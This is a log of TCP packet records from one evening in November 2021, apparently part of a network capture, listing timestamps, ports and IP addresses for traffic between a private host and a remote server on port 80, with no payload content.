Nov 9, 2021 22:21:15.217652082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217674971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217713118 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217717886 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217725992 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217752934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217797041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217799902 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217828989 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217859030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217890978 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217905045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217947960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217948914 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217955112 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217987061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218028069 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218039036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218067884 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218094110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218125105 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218133926 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218163013 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218173981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218173981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218213081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218226910 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218250990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218290091 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218297958 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218327045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218365908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218378067 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218404055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218410969 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218441010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218480110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218485117 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218518972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218556881 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218566895 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218596935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218633890 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218641996 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218672037 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218672037 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218712091 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218750000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218766928 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218790054 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218794107 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218827963 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218868971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218899965 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218903065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218926907 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218943119 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.218975067 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.218982935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219022036 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219029903 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219038963 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219069958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219100952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219110012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219136000 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219146967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219187021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219225883 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219233990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219263077 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219271898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219276905 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219310999 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219357014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219389915 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219396114 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219444990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219449043 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219489098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219515085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219553947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219583988 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219592094 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219593048 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219599009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219604015 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219621897 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219633102 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219662905 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219670057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219708920 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219708920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219729900 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219762087 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219796896 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219803095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219829082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219841957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219851017 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219881058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219897032 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219922066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219961882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.219974995 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.219984055 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220000029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220019102 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220040083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220041990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220078945 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220082045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220119953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220153093 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220160007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220179081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220201015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220236063 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220241070 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220244884 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220283031 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220324039 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220329046 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220371962 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220381975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220397949 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220422983 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220436096 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220460892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220477104 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220499992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220539093 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220572948 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220578909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220597982 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220619917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220664978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220665932 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220694065 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220705032 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220720053 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220745087 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220782042 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220788956 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220808029 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220822096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220856905 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.220899105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220938921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.220977068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221008062 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221016884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221026897 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221031904 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221054077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221069098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221095085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221108913 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221133947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221141100 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221174002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221196890 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221213102 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221245050 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221252918 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221278906 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221308947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221349955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221369028 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221388102 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221390009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221400023 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221432924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221466064 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221472979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221476078 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221559048 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221621990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221630096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221669912 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221699953 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221708059 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221724987 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221748114 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221756935 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221787930 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221827984 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221846104 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221868992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221904993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221931934 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221942902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.221957922 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.221982956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.222019911 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.222021103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.222048998 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.222074986 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.489538908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.495063066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.522295952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522356987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522397041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522437096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522476912 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522521019 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522561073 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522599936 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522653103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522692919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522728920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522768021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522806883 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522844076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522882938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522921085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522970915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.522986889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523025990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523065090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523102999 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523152113 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523191929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523230076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523266077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523303986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523340940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523380041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523420095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523463011 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523502111 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523540020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523576021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523612976 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523612976 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.523648977 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.523657084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523700953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523766041 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.523778915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523818970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523859978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523910999 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523931026 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523936033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.523962975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.523997068 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524000883 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524029970 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524039984 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524077892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524113894 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524147034 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524152040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524157047 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524192095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524230003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524270058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524301052 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524305105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524332047 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524358034 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524396896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524432898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524463892 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524471045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524472952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524509907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524549007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524565935 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524586916 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524624109 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524662018 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524677992 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524710894 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524746895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524763107 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524785995 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524823904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524866104 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524874926 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.524925947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.524966002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525002956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525033951 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525041103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525080919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525119066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525150061 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525156021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525212049 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525227070 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525266886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525304079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525341988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525346041 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525369883 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525381088 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525422096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525461912 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525499105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525506973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525521994 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525537014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525573969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525608063 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525610924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525649071 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525716066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.525798082 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525839090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525875092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525904894 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525934935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.525966883 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.526009083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.526009083 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.526081085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.526091099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.526102066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.526176929 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.526189089 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.622452021 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.624883890 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.795813084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826322079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826355934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826380968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826405048 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826425076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826445103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826461077 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826471090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826495886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826519966 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826538086 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826545954 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826565027 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826585054 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826603889 CET	49813	80	192.168.2.4	47.74.84.15
